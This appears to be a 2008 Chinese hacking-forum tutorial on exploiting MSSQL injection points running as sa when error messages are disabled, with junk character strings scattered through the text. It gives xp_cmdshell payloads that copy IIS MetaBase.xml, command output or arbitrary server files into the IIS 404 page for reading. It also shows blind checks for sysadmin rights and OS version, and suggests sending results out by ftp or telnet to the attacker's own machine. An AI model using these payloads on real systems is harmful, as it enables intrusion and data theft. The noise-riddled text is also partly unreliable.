遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
6 S2 e# D' o) ?% y1 M+ t
/ T$ r0 \ k" o* J 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。3 V2 L" t6 e( G! {4 w$ ^% ^
- [0 X0 E, u$ U- S 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
' z& L7 I; t7 J" Z* [) O
3 c7 J* p( k e% k% _ IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm9 }( Q9 D1 |6 a/ q2 V" q j
. T' a+ q9 V B% s9 |
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
, M& F# H+ k" w5 o M4 C4 t! j8 j8 D- W! }8 t3 \. \7 M# s& T
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。6 y' b% _: ^ Z! m' y" y
. G+ G; c: C3 ^% s
执行命令得到回显 Z: w! ~$ m( H
% G. g: ~2 i) g3 [ 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
1 T* W* ]; R6 ~0 e2 T! [9 A) W5 X r$ V9 j5 X
得到文件也shi相同,把文件copy到404b.htm就行了7 l" z; X4 X# c( Y; |; D4 l
9 d$ {( y8 M6 {6 @* v7 l+ g* \2 P by 28ice, 2008/6/269 o* o4 w; x# y- U0 Y4 U$ X
! g0 d: \) V5 Q) T+ f8 I 摘自 28度的冰
6 _9 x$ I. i, C/ e" ]8 P+ N2 m" x
盲注判断权限和操作系统版本+ ]7 ~! o1 O* m& {( s( |& J1 }
& }" _) n7 M Y5 ]1 C
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
6 W' b2 }$ b, Z0 j/ z O7 }
* }) J' ?1 b' C; F 最简单的,可能以用这样的方法:
5 j, K0 ]' y2 Q e7 B7 O3 ?; n
# |" [0 C4 B H; e7 t 1=(select IS_SRVROLEMEMBER(’sysadmin’))
/ c6 T; Y n0 j2 z2 b
6 H' r! @0 F% M K4 g/ I% ~' L 当然,有些情况下,这个方法并不奏效。
: E1 g. J K1 M3 ?% Q ~5 p* g2 F/ j8 \& x
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
* c- H5 d' l t2 I9 D$ n5 I1 n- D$ ?* Q0 X! A P
有个3办法可能以解决这个问题* c1 ]( `6 v" l" C n- w
) A0 O$ \# b6 t0 X ~$ e5 f: F a.把执行结果写到404b.htm,具体请看我的上一篇文章
7 y2 B9 D% @% Q0 z5 r8 ?. S: N5 u& b: m
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟+ j1 ^# F6 r. c( \
- S7 B: {. p' p2 v/ |. m1 J: g
c.如果1433端口可能以连接,那干脆新建个sql登录
) q9 R3 Q6 V8 \9 q6 T. x$ r" L8 O1 V
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
, q K& b9 ^7 `. Q; O" i5 L6 g- C6 u& L; D1 B. Q' z
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下5 K0 U+ M4 L# Y
+ Z* Q! L& q/ K9 J4 d
很简单! t* s+ {7 E4 r! Q1 T
7 G1 A% Q! o! c$ O' R0 U+ } 执行systeminfo3 g! D, y6 p9 r7 d
* Y' z4 v* N# Y# F* X l 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |